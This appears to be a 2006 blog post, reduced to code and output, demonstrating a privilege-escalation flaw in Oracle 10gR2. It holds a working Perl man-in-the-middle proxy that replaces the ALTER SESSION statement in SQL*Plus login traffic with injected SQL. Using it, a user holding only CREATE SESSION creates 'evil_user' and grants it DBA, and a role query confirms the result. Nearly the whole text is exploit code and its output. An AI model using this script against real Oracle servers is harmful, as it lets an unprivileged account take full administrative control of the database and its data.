January 24, 2006: On a breakable Oracle

use strict;
use warnings;

use hexdumper;
use proxy;

open SQLPLUS, ">from_sqlplus.dmp";

# Listen on port 1234, forward requests to
# globi, port 1521
my $proxy=new proxy(
     1234, 'globi', 1521,
   \&from_sqlplus, # callback for SQL*Plus' requests
   \&from_oracle   # callback for Oracle's answers
     );

my $sqlplus_dumper = new hexdumper(16);

# Wait for a connection from SQL*Plus
$proxy->accept;

print SQLPLUS $sqlplus_dumper->end;

close SQLPLUS;

# This function is called 
# whenever SQL*Plus makes a request
sub from_sqlplus {
  print SQLPLUS $sqlplus_dumper->write(shift);
}

# This function is called 
# whenever Oracle sends something
# back to SQL*Plus
sub from_oracle {
  # Not interesting here, so nothing done
}

ORA10R2 =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = Globi)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = ora10r2)
    )
  )

proxy =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = localhost)(PORT = 1234))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = ora10r2)
    )
  )

create user only_session_granted identified by some_secret;

$ perl proxy_show.pl

sqlplus only_session_granted/some_secret@proxy

     0:  01 05 00 00 01 00 00 00 01 39 01 2c 00 00 08 00               9 ,    
    16:  7f ff c6 0e 00 00 01 00 00 cb 00 3a 00 00 02 00                 :    
    32:  61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00      aa              

  [ .. snipped .. ]

  1792:  00 12 00 00 00 12 41 55 54 48 5f 41 4c 54 45 52            AUTH_ALTER
  1808:  5f 53 45 53 53 49 4f 4e e9 01 00 00 fe ff 41 4c      _SESSION      AL
  1824:  54 45 52 20 53 45 53 53 49 4f 4e 20 53 45 54 20      TER SESSION SET
  1840:  4e 4c 53 5f 4c 41 4e 47 55 41 47 45 3d 20 27 41      NLS_LANGUAGE= 'A
  1856:  4d 45 52 49 43 41 4e 27 20 4e 4c 53 5f 54 45 52      MERICAN' NLS_TER

  [ .. snipped .. ]

  2064:  41 52 59 27 20 54 49 4d 45 5f 5a 4f 4e ea 45 3d      ARY' TIME_ZON E=

  [ .. snipped .. ]

  2288:  2d 52 52 20 48 48 2e 4d 49 2e 53 53 58 46 46 20      -RR HH.MI.SSXFF 
  2304:  41 4d 20 54 5a 52 27 00 00 00 00 00 00 17 00 00      AM TZR'         
  2320:  00 17 41 55 54 48 5f 4c 4f 47 49 43 41 4c 5f 53        AUTH_LOGICAL_S
  2336:  45 53 53 49 4f 4e 5f 49 44 20 00 00 00 20 44 32      ESSION_ID     D2

  [ .. snipped .. ]

use strict;
use warnings;

use proxy;

# Listen on port 1234, forward requests to
# globi, port 1521
my $proxy=new proxy(
     1234, 'globi', 1521,
   \&from_sqlplus, # callback for SQL*Plus' requests
   \&from_oracle   # callback for Oracle's answers
);

my $length    = 489;

my $stmt_search = "ALTER SESSION SET NLS_LANGUAGE= 'AMERICAN'";
my $stmt_inject = $ARGV[0];

# Make both statement 489 bytes long by filling them
# with spaces.
$stmt_inject .= ' ' x ($length - length($stmt_inject));
$stmt_search .= '.' x ($length - length($stmt_search));

# Put that \xea at position 256:
substr($stmt_inject,255,1) = "\xea";

# Wait for a connection from SQL*Plus
$proxy->accept;

sub from_sqlplus {

  # replace searched statement with injected statement:
  if ($_[0] =~ /$stmt_search/) {
    $_[0] =~ s/$stmt_search/$stmt_inject/;
    print "Injected: $stmt_inject\n\n";
  }
}

sub from_oracle {
  # do nothing
}

$ perl proxy_do_sql.pl "create user evil_user identified by hahaha"

sqlplus only_session_granted/some_secret@proxy

$ perl proxy_do_sql.pl "grant dba to evil_user"

sqlplus only_session_granted/some_secret@proxy

sqlplus rene/rene@ora10r2

select grantee from dba_role_privs where granted_role  = 'DBA';

GRANTEE
------------------------------
SYS
SYSMAN
FOO
RENE
SYSTEM
EVIL_USER